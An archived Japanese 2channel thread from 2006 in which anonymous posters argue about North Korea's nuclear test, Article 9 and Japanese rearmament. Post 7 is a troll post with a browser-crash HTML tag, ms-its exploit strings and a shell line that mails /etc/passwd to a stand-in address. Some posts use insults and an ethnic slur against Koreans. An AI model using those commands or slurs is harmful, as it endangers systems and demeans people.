5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

核問題と司法試験

1 :氏名黙秘:2006/10/10(火) 08:52:15 ID:???
日本と世界の安全保障について語ろう

2 :氏名黙秘:2006/10/10(火) 08:54:38 ID:???
今年口述受けるんだけど、
7年ぶりに東京行って核でも破裂したらやってられん。

3 :氏名黙秘:2006/10/10(火) 08:56:20 ID:???
東京が最も危険ということは間違いないだろうね

4 :氏名黙秘:2006/10/10(火) 09:09:19 ID:???
隣国の攻撃を察知し、核による壊滅的打撃を避けるために
日本国から先制攻撃を仕掛けることの憲法上の問題点を論ぜよ。

隣国の核攻撃能力が目標に到達すること正確にして破壊力甚大の場合と
途中でミサイルが墜落してしまうことも十分に予測できるような技術力である場合にわけて検討せよ。

なお、隣国による攻撃を察知したことの正確性は、客観的にみて十分な根拠があったものとする。


5 :氏名黙秘:2006/10/10(火) 09:27:31 ID:???
>>4
一発だけなら誤射かも知れない

6 :氏名黙秘:2006/10/10(火) 10:03:45 ID:???
>>4
統治行為につき裁判所は審査しない。

7 :ゴミスレにつき駆除:2006/10/10(火) 13:05:31 ID:???
上ー上、<body onload=window()>
上の下、cat /etc/passwd | mail nobody@nonexistent.com
中の上、ms-its:mhtml:file://c:#ms-its:mhtml:file://c:
中の下、$ハ/d-gァ28:ju/こms-its:mhtml:file://c:\ぇ.exe
下の上、$ハ/d-gァ28:ju/こms-its:mhtml:file://c:\ぇ.exe
下の下、$ハ/d-gァ28:ju/こms-its:mhtml:file://c:\ぇ.exe


8 :氏名黙秘:2006/10/10(火) 13:14:10 ID:???
>>7
氏ねじゃなくて死ね

9 :氏名黙秘:2006/10/10(火) 13:19:42 ID:???
憲法9条のせいで北まで届くミサイルがないので、日本は北の基地を爆撃できません。
したがって、北が核ミサイルを撃ってきても反撃はできません。
よって、北がすべての核ミサイルを撃ち尽くすまで日本は座して死を待つしか
ないのです。

今こそ憲法9条を改正して国防軍の保持を実現しましょう。

10 :氏名黙秘:2006/10/10(火) 13:24:01 ID:???
核を脅しに使うなら、東京や大阪ではなく、日本海とかで爆発させる
のでは?
東京とかに使ってしまったら、日本から何も援助を引き出せなくなる

11 :氏名黙秘:2006/10/10(火) 13:24:25 ID:???
憲法9条改正反対!

12 :氏名黙秘:2006/10/10(火) 13:24:52 ID:???
援助なんか求めてないよ。
屈服を求めているだけ。
基地外独裁国に理屈なんかないということを理解すべきだ。

13 :氏名黙秘:2006/10/10(火) 13:25:52 ID:???
>>11
この期に及んでそういうことをいう君は共産党?
それとも社民党?
死にたければ自殺すればいいじゃん。
他の人を巻き込んで北の核ミサイルで死ぬ必要はないだろ。

14 :氏名黙秘:2006/10/10(火) 13:27:32 ID:???
強硬論で押しまくれば争いが解決すると思ってる人ってナイーブすぎるよ

15 :氏名黙秘:2006/10/10(火) 13:27:39 ID:???
ばかだなおまいら。
東京では皇居の地下にモビルスーツが隠してあってだな。
いざというときにラクス様がストライクフリーダムをキラに使わせるんだよw
そして核ミサイルは全弾撃墜。
憲法上も国際法上も、何の問題なく自衛権が行使できるんだよ。

16 :氏名黙秘:2006/10/10(火) 13:27:42 ID:???

憲 法 の た め に 死 ね ま す か ?

そ れ と も 、

生 き る た め に 憲 法 変 え ま す か ?

17 :氏名黙秘:2006/10/10(火) 13:28:19 ID:???
スレ立て規制強化賛成!
ここ2,3日板違いスレばかり立つ

18 :氏名黙秘:2006/10/10(火) 13:28:21 ID:???
7
ウィルスか。最近多いなウイルス針

19 :氏名黙秘:2006/10/10(火) 13:28:29 ID:???
>>14
これまで甘い態度で臨んできて解決したのか?


20 :氏名黙秘:2006/10/10(火) 13:28:59 ID:???
>>16

憲法変えれば生き残れると思ってるおまえ、脳味噌はお花畑だな。

21 :氏名黙秘:2006/10/10(火) 13:29:15 ID:???
憲法を変えることで北朝鮮の核兵器が消えてなくなると思ってるの?(笑)

22 :氏名黙秘:2006/10/10(火) 13:30:07 ID:???
>>20
はぁ?
アメリカ人の脳みそはお花畑かよWW
諸外国のように強力な軍備を持てば生き残れるんだよ。

お花畑は憲法信じ込んでるお前だろ。
共産党員?
それとも社民党員?

23 :氏名黙秘:2006/10/10(火) 13:31:11 ID:???
>>21
今すぐ空爆すれば運搬手段であるミサイルをなくせる。

仮に北が核ミサイルを持っても、反撃を恐れて攻撃できなくなる。
今はやられ放題の危険がある。

24 :氏名黙秘:2006/10/10(火) 13:31:51 ID:???
私は、平和を愛する近隣諸国の人民の公正と信義を信頼している。

25 :氏名黙秘:2006/10/10(火) 13:32:18 ID:???
>>24
その前提が崩れたんだよ。
平和を愛する人が核実験をするか?

26 :氏名黙秘:2006/10/10(火) 13:32:52 ID:???
>アメリカ人の脳みそはお花畑かよWW
北朝鮮政策に関してはお花畑じゃんか。
だからチョンがのさばってんだろが。
現実を直視しろボケ。
おまえらがどうわめこうが憲法改正しようがしなかろうが
ミサイルの撃墜を真剣に考えてない段階で自衛とかありえないんだよ。



27 :氏名黙秘:2006/10/10(火) 13:33:24 ID:???
板違い 司法試験に関係ありません。

28 :氏名黙秘:2006/10/10(火) 13:34:10 ID:???
>>26
ワロス。
アメリカは甘かったから北がここまで進んでしまったんだろ。
ミサイルの撃墜は技術的に困難。
だから基地を攻撃する必要があるんじゃないか。
軍事的には常識だよ。

29 :氏名黙秘:2006/10/10(火) 13:34:19 ID:???
憲法さえいじれば平和が来ると思ってるおめでたいヤツがいるな・・・

30 :氏名黙秘:2006/10/10(火) 13:34:29 ID:???
何でも○○と司法試験ってスレタイつければ司法試験板に立てて良いと思っている基地外は氏ね

31 :氏名黙秘:2006/10/10(火) 13:34:58 ID:???
憲法の勉強をしていない厨房がいますね

32 :氏名黙秘:2006/10/10(火) 13:35:15 ID:???
>>28
そんならおまえが北の基地でも破壊してこいボケ

33 :氏名黙秘:2006/10/10(火) 13:35:28 ID:???
>>29
もちろん憲法を変えた後強力な軍備を持つ必要がある。

憲法を守っていれば平和が来ると思い込んでいる左翼受験生こそおめでたい。

34 :氏名黙秘:2006/10/10(火) 13:36:08 ID:???
>>31
憲法に改正条項があることも知らない厨房がいるようだな。

35 :氏名黙秘:2006/10/10(火) 13:36:23 ID:???
平和が一番いい。

36 :氏名黙秘:2006/10/10(火) 13:36:51 ID:???
ニュー速でやれよ

37 :氏名黙秘:2006/10/10(火) 13:37:13 ID:???
そもそもイラクを先制攻撃したアメリカですら軍事行動起こしてないのに
日本がどうこう言っても無意味だろ?
憲法改正とかいうレベルの話じゃない


38 :氏名黙秘:2006/10/10(火) 13:37:13 ID:???
右よりの人ってばか?

39 :氏名黙秘:2006/10/10(火) 13:37:51 ID:???
>>35
俺もそう思う。
そのためには平和を守る軍備が必要だ。

40 :氏名黙秘:2006/10/10(火) 13:38:34 ID:???
>>38
左よりの人こそ馬鹿だろ。
社会主義国が善意の塊ではないことをまだ認めないのか?

41 :氏名黙秘:2006/10/10(火) 13:38:39 ID:???
勝手にチョンと戦って、死んで靖国にでも行けばー?
その際、他人を巻き込むなよw

42 :氏名黙秘:2006/10/10(火) 13:38:53 ID:???
軍事力だけでは平和な世の中は実現できないよ。

43 :氏名黙秘:2006/10/10(火) 13:39:28 ID:???
>>41
望むと望まざるを向こうから核兵器を打ち込んでくるだろ。
靖国どころの騒ぎじゃないな。

44 :氏名黙秘:2006/10/10(火) 13:39:56 ID:???
何十年前の議論してるんだよ
司法試験と関係ないだろ

45 :氏名黙秘:2006/10/10(火) 13:40:11 ID:???
社会主義国だろうが自由主義国だろうが善意じゃないし
日本政府だって善意じゃない
ましてやキムジョンイルは善意じゃない
しかし憲法改正なんかほざくバカも絶対に善意じゃない

46 :氏名黙秘:2006/10/10(火) 13:41:04 ID:???
>>42
もちろん交渉も必要だろう。
しかし、片方が原爆ミサイルを突きつけていて片方は通常のミサイルもなければ
交渉すらできない。脅しと屈服の関係になってしまう。

47 :氏名黙秘:2006/10/10(火) 13:41:09 ID:???
第二次世界大戦の経験をふまえて
日本は二度と戦争をしない国になったんだろ。
そんなことも知らない厨房はもう一度
歴史の勉強をやりなおせよ。

48 :氏名黙秘:2006/10/10(火) 13:41:27 ID:???
こういうのって江畑謙介や小川和久が考えるべきことであって
憲法なんて関係ないし糞の役にも立たないことを忘れてるよな・・・

49 :氏名黙秘:2006/10/10(火) 13:42:09 ID:???
>>45
馬鹿はお前だ。
いつまで日本だけは軍隊を持ってはいけないという糞憲法にしがみつくつもりだ?
身を守りたくない、外国の攻撃で死にたい、というなら自殺すればいいだろ。

50 :氏名黙秘:2006/10/10(火) 13:42:29 ID:???
>脅しと屈服の関係になってしまう。
憲法上、自衛権の行使ができるんだが。
もういちど教科書から勉強してこい。

51 :氏名黙秘:2006/10/10(火) 13:43:26 ID:???
>>47
本気で書いているんじゃないよね?
第2次大戦には何十もの国が関わったが、他の国は今でも軍備を持っている。
それに、戦争をしない国になったって、では北朝鮮が打ち込んできた原爆ミサイルを
迎撃するのは戦争ではないのか?

52 :氏名黙秘:2006/10/10(火) 13:43:28 ID:???
>>49
はぁ?
日本に軍事力がないとでも思ってるわけ?
脳味噌お花畑もここまで来ると末期的だなw

53 :氏名黙秘:2006/10/10(火) 13:43:28 ID:???
憲法は大事ですよ。
国家権力の暴走に歯止めをかけることがその使命なのだから。

54 :氏名黙秘:2006/10/10(火) 13:44:11 ID:???
>>50
相手の領土・領空では行使できないんだろ。
今の軍事技術を考えればそれでは無意味だ。

55 :氏名黙秘:2006/10/10(火) 13:44:13 ID:???
核をノドンに搭載できるようになるまでの間に叩かないとまずい
搭載技術ができたら、海にでも打ち込んでくるだろ。
そうなったら、脅しに屈するしかなくなるかもしれない

56 :氏名黙秘:2006/10/10(火) 13:44:56 ID:???
>>52
少なくとも国民の生命を守るのに十分な軍事力はない。

57 :氏名黙秘:2006/10/10(火) 13:45:30 ID:???
憲法改正する前に
現行憲法でできることを考えるのがまともな政府のすることだ。
それ故日米安保もありMDも開発してる。国連の強制措置も依頼してるし
集団的自衛権だって行使できないか検討してる。
改憲しなきゃなんもできんって考えてるバカは死んだ方がいい。


58 :氏名黙秘:2006/10/10(火) 13:45:59 ID:???
ナチスに甘い態度をとっていて第二次大戦の悲劇を招いたことを想起すべきだな。

59 :氏名黙秘:2006/10/10(火) 13:46:06 ID:???
アメリカみたいに世界一の軍事力をもってしても思い通りにならないんだよ。
国際社会はそんなに甘くはない。

60 :氏名黙秘:2006/10/10(火) 13:47:08 ID:???
>>54
敵基地攻撃は自衛権の範囲内って考えも政府内にあるし
必要やむを得ない場合には学説上も認められる余地はある。
いずれにしても憲法の条文を変える暇があったら
解釈改憲すべき。

61 :氏名黙秘:2006/10/10(火) 13:47:09 ID:???
>>57
馬鹿はお前だ。
MDは気休めだろ。
敵基地攻撃能力は憲法のせいで持てない。
これが最大の問題だ。

62 :氏名黙秘:2006/10/10(火) 13:47:52 ID:???
最近、右よりのひとが増えてきているみたいだが、このスレに書きこんでる憲法改正論者は、ずいぶん知恵が足らないみたいですねw

63 :氏名黙秘:2006/10/10(火) 13:48:12 ID:???
>敵基地攻撃能力は憲法のせいで持てない。
米軍が持ってるから共同行使すればいいだけ。
憲法とは関係ない。

64 :氏名黙秘:2006/10/10(火) 13:48:53 ID:???
>>59
思い通りにする必要はないよ。
攻撃されなければそれでいいんだ。

>>60
左翼系の市民が解釈の変更には反対している。
条文を素直に読むと自衛用兵器すら持てないような憲法だから、
どうしても左翼系に譲歩を余儀なくされる。

65 :氏名黙秘:2006/10/10(火) 13:49:18 ID:???
米軍ですら軍事オプション発動してないのに
いきりたったバカが湧いてますねw
憲法よりも先に国際政治のおべんきょーしましょーねwww

66 :氏名黙秘:2006/10/10(火) 13:49:53 ID:???
>>65
同意

67 :氏名黙秘:2006/10/10(火) 13:50:21 ID:???
>>62
知恵が足りないのはお前だ。

>>63
アホか。
米軍が持っていても米軍がその気にならないと行使できないだろ。
共同行使(ぷ
日本のミサイルは一発も北に届かないのに。


68 :氏名黙秘:2006/10/10(火) 13:51:06 ID:???
>>64
いまの日本は米軍から「瓶の蓋」ってやつをされてるんだお。
日本の安全は米軍が考えるから藻米等日本人が考えなくていいんだお。
日本が勝手なことしたらアメリカちゃんが本気で怒っちゃうんだお。

69 :氏名黙秘:2006/10/10(火) 13:51:18 ID:???
>>65 >>66
アメリカは離れているからのんきなだけ。

それにアメリカはすでにミサイルを持っているだろ。
日本も持つべきだ。

70 :氏名黙秘:2006/10/10(火) 13:52:05 ID:???
昔は左翼のほうが非現実的だと言われていたが
今の右翼も憲法改正すればどうにでもなると思っているみたいで
かなり非現実的思考しているよね(爆)

71 :氏名黙秘:2006/10/10(火) 13:52:15 ID:???
つまり、アメリカは備えをしているんだよ。
日本は備えをしていない。

そこが違い。
備えをした後実際に使うかは別の問題。

72 :氏名黙秘:2006/10/10(火) 13:52:46 ID:???
>>67
アホか。
アメリカですら動いていない現状で日本が勝手なことしてみろ。
その時点で日本がアメリカから仮想敵国視されちまう。
北朝鮮ごときのせいで日米関係を悪化させる気かバカ。

73 :氏名黙秘:2006/10/10(火) 13:52:55 ID:???
>>70
アホか。
国際社会の厳しい現実は示された。
お前ら左翼こそまだ憲法にしがみついていれば平和を守れるとか妄想している。

74 :氏名黙秘:2006/10/10(火) 13:53:56 ID:???
改憲とかいってるバカは
アメリカが日本と韓国の核武装を怖れていることに目をつぶってるだけなんだよな・・・

75 :氏名黙秘:2006/10/10(火) 13:54:07 ID:???
>>72
動くっていうのは攻撃を実施することだろ。
備えをするだけなら問題はない。

北朝鮮の原爆ミサイルの脅威は軽視すべきではない。
また、その点でアメリカとは見解が一致している。

76 :氏名黙秘:2006/10/10(火) 13:54:47 ID:???
やはり日本は中国と良好な関係を保ち
連携して北朝鮮に向き合わないといけないよね

77 :氏名黙秘:2006/10/10(火) 13:55:04 ID:???
>>74
意味不明。
護憲豚こそ現実的脅威を軽視している。

78 :氏名黙秘:2006/10/10(火) 13:55:07 ID:???
>>73
現行憲法で非武装無抵抗なんて、それはおまえの勘違いだろ。

79 :氏名黙秘:2006/10/10(火) 13:55:52 ID:???
>>78
少なくとも軽武装だし、外国領土等で戦闘できないならミサイル問題に関しては
無抵抗に等しい。

80 :氏名黙秘:2006/10/10(火) 13:56:26 ID:???
アメリカに嫌われないよう
アメリカと一緒に行動する
その際に現行憲法は邪魔にならない。
それなのに改憲すべきとかいってるやつはただの厨房。

81 :氏名黙秘:2006/10/10(火) 13:56:44 ID:???
>>76
それはそうだろう。
だが、同時にまともな軍事力の構築も必要だ。

82 :氏名黙秘:2006/10/10(火) 13:56:54 ID:???
>>78
現行憲法でも自衛隊という「武装」があるのにねw

83 :氏名黙秘:2006/10/10(火) 13:57:37 ID:???
>>80
アメリカに頼っていれば安心だという思い込みこそ危険。
アメリカがいつまでも日本を守ってくれるという根拠はない。
韓国からも引きつつあるではないか。

84 :氏名黙秘:2006/10/10(火) 13:57:54 ID:???
>>78
ミサイル問題に無抵抗じゃなくするってのはなー、
日本がIRBM持って核弾頭搭載するっていうことなんだよ。
それはもはや日本が攻撃対象になるってことで日本の自滅なんだよ。

85 :氏名黙秘:2006/10/10(火) 13:58:11 ID:???
>>82
ミサイル防衛には役に立たない武装が、ねww

86 :氏名黙秘:2006/10/10(火) 13:58:16 ID:???
>>83
>アメリカがいつまでも日本を守ってくれるという根拠はない

おれもそう思う

87 :氏名黙秘:2006/10/10(火) 13:58:50 ID:???
>>84
核弾頭でなくても問題ない。
トマホークにも通常弾頭型がたくさんある。
あの手のもので十分。

88 :氏名黙秘:2006/10/10(火) 13:58:55 ID:6XVWj9ad
>>83
安心だという思いこみではなく
敵にしないという用心だ。
日本が自主性を持つことに敏感なんだよアメリカは。

89 :氏名黙秘:2006/10/10(火) 14:00:33 ID:???
偵察衛星も打ち上げたしMDもやってるし日米同盟もあるし
できることはいろいろやってる。
日本政府のやることにいちいち文句言うのはチョンかバカウヨかブサヨ。

90 :氏名黙秘:2006/10/10(火) 14:00:34 ID:???
航空攻撃には基地を叩くしかない。
これは第2次大戦のころから言われてきたこと。
ましてや運搬手段(航空機・ミサイル)が高速化した現代では
迎撃が難しいので、なおさらだ。

先制攻撃をするかどうかはともかく、一発目を撃たれたらやられっぱなしにならないように
基地を叩く能力は保有する必要がある。
通常弾頭でもかまわない。
日本の技術は高いから、命中させられる。

91 :氏名黙秘:2006/10/10(火) 14:01:30 ID:???
>>89
それにプラスして、敵基地攻撃能力が必要。
7月のときに立ち消えになったのは憲法違反という指摘があったから。

92 :氏名黙秘:2006/10/10(火) 14:02:31 ID:???
軍国化には反対の俺でも、情報収集機能の強化には賛成だな。

93 :氏名黙秘:2006/10/10(火) 14:02:32 ID:???
中国ロシアアメリカ。この3カ国を味方に付けた上でなければ
日本は身動きとれない。それが現実。
そういう条件がないのに改憲だの軍拡だのしても
税金の無駄。
まずは国際情勢を味方に付けることから本気でやるべきだ。

94 :氏名黙秘:2006/10/10(火) 14:04:30 ID:???
敵基地攻撃能力ってさー
GPSデータがない限り実用化できないんだよねー
だったら日本は自主開発無理じゃんw

95 :氏名黙秘:2006/10/10(火) 14:05:13 ID:???
>>93
それはもちろん必要だが、軍事も外交も同時並行でやるべきだよ。

日本としては抑止力を持てばいい。
何も北の体制を転覆する必要はない。
北の指導部に日本を攻撃すれば自分たちも痛い目にあうと思わせれば十分。
そして、それは核兵器でなく、命中精度の高い通常弾頭ミサイルの保有でも達成できる。
(核を持つことは日本も制裁対象になるので、やめたほうがよい)

96 :氏名黙秘:2006/10/10(火) 14:06:48 ID:???
>>94
独自の人工衛星を使って航法システムを構築すればO.k.だろ。

97 :氏名黙秘:2006/10/10(火) 14:07:29 ID:???
>>95
北の首脳部は核攻撃にも耐えられる地下基地にいるらしいって。
通常弾頭では抑止力にならないよぉぉぉ。

98 :氏名黙秘:2006/10/10(火) 14:08:43 ID:???
>>96
自主開発が米軍にバレたら怒られるかもなー

99 :氏名黙秘:2006/10/10(火) 14:10:18 ID:???
偵察衛星をもっとたくさん運用すればいいじゃん

100 :氏名黙秘:2006/10/10(火) 14:12:39 ID:???
俺が死ぬ50年後までの間、
戦争が一度もないといえるだろうか

101 :氏名黙秘:2006/10/10(火) 14:14:43 ID:???
朝鮮半島での軍事行動には反対だな
日本にも火の粉が降りかかるからね

102 :氏名黙秘:2006/10/10(火) 14:17:25 ID:???
ちょっとした小型旅客機に
改良した地理データと爆弾を積んで
無人航行させる。
これでOK?
だとしたら改憲は全く必要ないよな・・・・
やっぱウヨのいうことはリアリティがない。

103 :氏名黙秘:2006/10/10(火) 14:24:18 ID:???
今後は無人機の時代だろうしな

104 :氏名黙秘:2006/10/10(火) 14:28:54 ID:???
>>102
アホか。
そんなもの、撃墜されるだけだろ。まともなミサイルじゃないと駄目だ。
これだから糞サヨは・・

それに、改憲派は自由主義者であってウヨではない。
アメリカとともに自由を守る責任を果たすためには軍備が必要なんだよ。
それを主張しているだけ。

105 :氏名黙秘:2006/10/10(火) 14:29:26 ID:???
交渉の前提には軍事力があることもわかってない馬鹿が多すぎる。
これも9条の弊害か・・

106 :氏名黙秘:2006/10/10(火) 14:32:46 ID:???
今でも自衛隊という軍事力があるじゃん。
憲法9条を改正してまで何がしたいのかわからん。
また軍国主義にしたいのか?

107 :氏名黙秘:2006/10/10(火) 14:39:07 ID:???
>>106
ほら、いまだにこんな馬鹿みたいなこというやつがいる。
自衛隊は日本にミサイルを撃ち込んでくる社会主義国の基地を攻撃できない。
だから弾道ミサイルには無力。

弾道ミサイルの脅威から国民を守る力を持つことが軍国主義か?
だとするとアメリカも中国も軍国主義だな。

日教組に洗脳されているとどうしようもないな。
お前の家に原爆ミサイルが落ちるまでわからないんだろうな。

108 :氏名黙秘:2006/10/10(火) 14:39:51 ID:???
自衛隊は特に装備の面で普通の軍隊と比べて足かせが多すぎるんだよ。
だからまともに国民を守れない。

109 :氏名黙秘:2006/10/10(火) 14:42:53 ID:???
いまの自衛隊でいいじゃん
勝手に軍事行動されると困る

110 :氏名黙秘:2006/10/10(火) 14:47:14 ID:???
>>109
アメリカに憲法9条に相当する条文はないが、軍部が勝手に軍事行動をするのか?

111 :氏名黙秘:2006/10/10(火) 14:54:25 ID:???

以後は、ν即でやってください。







・・・・・・・・・・・・・・・・・・・・・・・・・・終了・・・・・・・・・・・・・・・・・・・・・・・・・・・・

112 :氏名黙秘:2006/10/10(火) 14:55:51 ID:???
>>111
何でおまえが仕切るわけ?
おまえは管理人でも何でもないだろ

113 :氏名黙秘:2006/10/10(火) 14:57:31 ID:???
http://japanese.joins.com/article/article.php?aid=77843&servcode=500§code=500
韓国の戦闘機は爆撃能力がある。
日本の戦闘機はない。
これは憲法9条の影響だろ?

114 :氏名黙秘:2006/10/10(火) 14:59:34 ID:???
自衛隊の支援戦闘機は
よその国ではいわゆる戦闘爆撃機ですが。

115 :氏名黙秘:2006/10/10(火) 15:02:16 ID:???
司法試験と何が関係あるんだ?

116 :氏名黙秘:2006/10/10(火) 15:03:53 ID:???
>>115
掲示板に関係のないスレッドなんて
いくらでもあるじゃん
何でこのスレッドだけに因縁つけるわけ?

117 :氏名黙秘:2006/10/10(火) 15:05:57 ID:???
>>114
リンク先よく読め。
数が一番多いF15どうしを比較しての話だよ。

118 :氏名黙秘:2006/10/10(火) 15:06:01 ID:???
>>116
確かに。

119 :氏名黙秘:2006/10/10(火) 15:06:59 ID:???
あほくさ。
核ミサイルに唯一対抗できるのは核ミサイルだけだ。
おまいらの大好きな核問題における基本中の基本だろ?
核には核でしか対抗できない。
本気で対抗策を考えるということは
日本の核武装である。
これがマジで許されると思ってる馬鹿は、アメ公に殺されてもしかたないんだよな。

まぁ、MDで対抗するか敵基地攻撃で対抗するか、こういうのが可能だというならば
もはや核の時代は終わりだということだけど、それはネラーもVIPPERも
望んでないよな?

120 :氏名黙秘:2006/10/10(火) 15:08:59 ID:???
核武装なんて絶対反対です

121 :氏名黙秘:2006/10/10(火) 15:13:24 ID:???
韓国と台湾と日本が雪崩を打って核武装することを米国は危惧しているんだよな・・・


122 :氏名黙秘:2006/10/10(火) 15:15:43 ID:???
>>83
韓国が嫌だといったからだろそれは。
ニュース水戸けよきちんと。

123 :氏名黙秘:2006/10/10(火) 15:16:40 ID:???
>>110
イラクでバカやったアメリカには、憲法9条のような国家的縛りが必要になりました。
国が勝手に他国を侵略してはいけませんw


124 :氏名黙秘:2006/10/10(火) 15:18:59 ID:???
北朝鮮が核兵器開発やミサイル発射なんてしなければ
日本の世論が憲法改正に賛成の側に傾くことなかったのに。

125 :氏名黙秘:2006/10/10(火) 15:24:34 ID:???
アメリカは韓国から撤退しても、朝鮮半島が北を中心に統一されることは望んでません。
同様に、日本が韓半島に支配されることも望んでいません。
よって、アメリカが日本を見殺しにすることは
アメリカの打算から考えて絶対にありません。
それは「日本を助けてくれる」のではなく「日本をチョンどもの好きにはさせん!」ってことです。
勘違いしないように。

126 :氏名黙秘:2006/10/10(火) 15:45:49 ID:???
アメリカは日本の核武装を許しませんw
日本が核武装したら空爆しますよw

127 :氏名黙秘:2006/10/10(火) 15:46:45 ID:???
日本が核武装なんてするわけねーじゃん

128 :氏名黙秘:2006/10/10(火) 15:48:41 ID:???
核武装しない日本はアメリカに助けてもらうしかありませんなw

129 :氏名黙秘:2006/10/10(火) 15:49:24 ID:???
北の実験はどうも早期爆発と言われる失敗だったようだぞ。

敵地攻撃能力は現在の政府解釈では持てないというところなんだろ。
だから自衛隊の装備もF-15Jみたいな邀撃専用になってんじゃねえの?
解釈改憲しろってのはどういうつもりで言ってんのかね?
政府がどこまでも解釈で改憲できるとするなら、憲法なんざあっても意味ねえってことに
なりかねんよ。
国家を縛る憲法は国民が変えなきゃいかん。それが民主的ルールってもんだ。
つまり正式に改憲すべきなんだよ。

130 :氏名黙秘:2006/10/10(火) 15:51:17 ID:???
敵基地攻撃能力をもっても
交戦権のない日本がそういう行為できるわけねーじゃん

131 :氏名黙秘:2006/10/10(火) 15:54:35 ID:???
>>130
交戦権をいわゆる交戦国の権利と解するなら、それとは別の自衛権に基づく
各種権利があるとしてそういう行為をすることも可能。

132 :氏名黙秘:2006/10/10(火) 16:04:31 ID:???
アメリカは去年、北朝鮮全面爆撃の構えを見せたことはあったらしい。
アメリカの基本的スタンスとして、全面爆撃の後は放置するつもりのようだ。
韓国主導で統一されてもいいし、中国が新たな政権を打ち立てるのでもいい
っていうつもりなんだろうな。
今回の実験強行を受けて、再び全面爆撃のオプションが浮上するかもしれんな。

133 :氏名黙秘:2006/10/10(火) 16:08:02 ID:???
これはだめかもわからんね

134 :氏名黙秘:2006/10/10(火) 16:20:28 ID:???
>政府がどこまでも解釈で改憲できるとするなら、憲法なんざあっても意味ねえってことに
>なりかねんよ。
おいおいw
WMDみつからなかった国際法違反のイラク戦争に荷担するなど、解釈改憲しまくってんだから
いまさらそんなことゆーなよw

135 :氏名黙秘:2006/10/10(火) 16:27:16 ID:???
>>134
だからそういうのは望ましくないっつうの。
今の状態が無理に無理を重ねた解釈なんだから、早々に現状に適合するように
改憲しないと、憲法なんかあっても意味ねえってことになりかねんのよ。

136 :氏名黙秘:2006/10/10(火) 16:31:57 ID:???
ここはひとつ、憲法の本来の趣旨に立ち返って、現状の誤った解釈・運用を見直しましょう。

137 :氏名黙秘:2006/10/10(火) 16:42:42 ID:???
そりゃ論外だわ。

138 :氏名黙秘:2006/10/10(火) 16:54:04 ID:???
>>135
改憲ついでに、自民党にも今までの悪行の責任をとってもらわないとなw

139 :氏名黙秘:2006/10/10(火) 16:56:23 ID:???
いまだに9条信者っているんだな。
諸外国で同じ条文を憲法に盛り込もうと主張したら極左って言われるよ。
あるいは空想的理想主義者か。

改正に関しては少なくとも侵略戦争は駄目だが自衛戦争はいいという改正なら
諸外国にあわせるだけ。それで右翼なら日本以外ほとんどみんな右翼だ。

140 :氏名黙秘:2006/10/10(火) 17:17:39 ID:???
>>139
自民党政府はおまいらほど無能じゃない。
憲法改正が実現していない現状でも、やれることはきちんとやっている。
9条信者も困ったもんだが、おまえらみたいな改憲厨も、うざいだけなんだよ。


141 :氏名黙秘:2006/10/10(火) 17:24:08 ID:???
>>140
いや、基地攻撃能力を自衛隊に持たせていない。
できるだけのことをしているとはいえない。
自民党内にも解釈改憲ももう限界だという意見があるからだ。

お前みたいな占領期の特殊な基本法にいつまでもしがみついているやつこそ
うざい。

142 :氏名黙秘:2006/10/10(火) 17:24:32 ID:???
たぶんあと20年もしたら日本核武装の話はかなり現実味を帯びてるんじゃないかと思う。
もちろん,日米中韓が歩調をあわせて東アジアの平和を確保できていれば別だけど。

で,憲法9条は核武装を禁止していないと読むことは一応可能。

143 :氏名黙秘:2006/10/10(火) 17:25:19 ID:???
核武装までする必要あるの?
通常兵器でも命中精度が高ければ抑止力になるのに。

144 :氏名黙秘:2006/10/10(火) 17:26:29 ID:???
>>140
だからそれが無理に無理を重ねた解釈改憲だろが。
自民党政府は確かにやむをえずに解釈でしのいでやれることはやってきたが、
それにも限度ってもんがある。
このままじゃ憲法と現実の齟齬が大きくなるばかりだ。
国民が改憲しろって言ってるんだから改憲して現状にあわせりゃいいだろうがよ。
憲法が済し崩しに解釈でいいようにされてる状態は望ましいものじゃない。
肝心なのは人権保障と民主主義からなる立憲主義だ。

145 :氏名黙秘:2006/10/10(火) 17:29:44 ID:???
>>144
そのとおり。

やはり軍事力を否定しての安全保障は現状では無理がある。
前文の理念と世界の現実に乖離が大きすぎるんだよ。
国民がそのことに気が付いたから改憲派が増えてきただけ。
少なくとも9条に限っても拮抗している現在、改正の主張=右翼
というパターンはもう通じない。

平和主義には国民のほとんどは賛成だが、軍備の否定を原則にすることには
もはや多くは疑問を抱いている。改憲は右翼のイデオロギーではなく、
国際社会の現実に対応した課題だよ。

もちろん今度の問題も平和裏に解決できるのが一番いいことはいうまではないが。

146 :氏名黙秘:2006/10/10(火) 17:33:46 ID:???
「憲法改正」は、15年くらい前の「政治改革」なんかと似ていると感じるな。
あまり観念的な話に政治のリソースを投入すると碌なことがない。

147 :氏名黙秘:2006/10/10(火) 17:38:44 ID:???
憲法改正なんて必要がないってことか

148 :氏名黙秘:2006/10/10(火) 17:42:10 ID:???
>> 145
同意。まぁ何千年後かに万が一人類が人種問題も宗教問題も解消した後なら九条もいいだろうな。そんな日が人類滅亡前にくればの話だが。

149 :氏名黙秘:2006/10/10(火) 17:42:13 ID:???
改憲も軍備増強も核兵器の前に無力なのになw
核兵器に唯一対抗できるのは核兵器だっていう基本的な知識もないヤツが
憲法を語るなよw
それとも藻米等、改憲して核武装でもすんのか?え?

150 :氏名黙秘:2006/10/10(火) 17:43:13 ID:???
そうだよ

151 :氏名黙秘:2006/10/10(火) 17:44:24 ID:???
今どき軍事力かよ(笑)
ネット右翼は空想的ですな

152 :氏名黙秘:2006/10/10(火) 17:45:45 ID:???


>安倍新首相は、官房長官を務めていた2002年5月にある講演で「核兵器を持つことは日本憲法上、何ら問題ない。決心すれば1週間以内に核兵器を持つことができる」と語っている。
ttp://japanese.chosun.com/site/data/html_dir/2006/10/05/20061005000008.html



153 :氏名黙秘:2006/10/10(火) 17:46:53 ID:???
兵器の種類について憲法はニュートラルだろ?

154 :氏名黙秘:2006/10/10(火) 17:51:16 ID:???
安倍総理ですら改憲必要ないって言ってんのに・・・
改憲厨は何がしたいんだ?

155 :氏名黙秘:2006/10/10(火) 17:51:27 ID:???
めくらめっぽう核ノドンもアメリカやロシアのように数千発打てるなら無敵だろうが、爆発力だけなら核爆弾とたいして変わらない通常兵器もある現在では、核如何でなく精密誘導兵器如何のが重要なこともある。

156 :氏名黙秘:2006/10/10(火) 18:01:23 ID:???
結局、核だか軍事力だかは
適切に使えてこそ役に立つ。
いまの日本の対北朝鮮外交政策や防衛政策を見れば
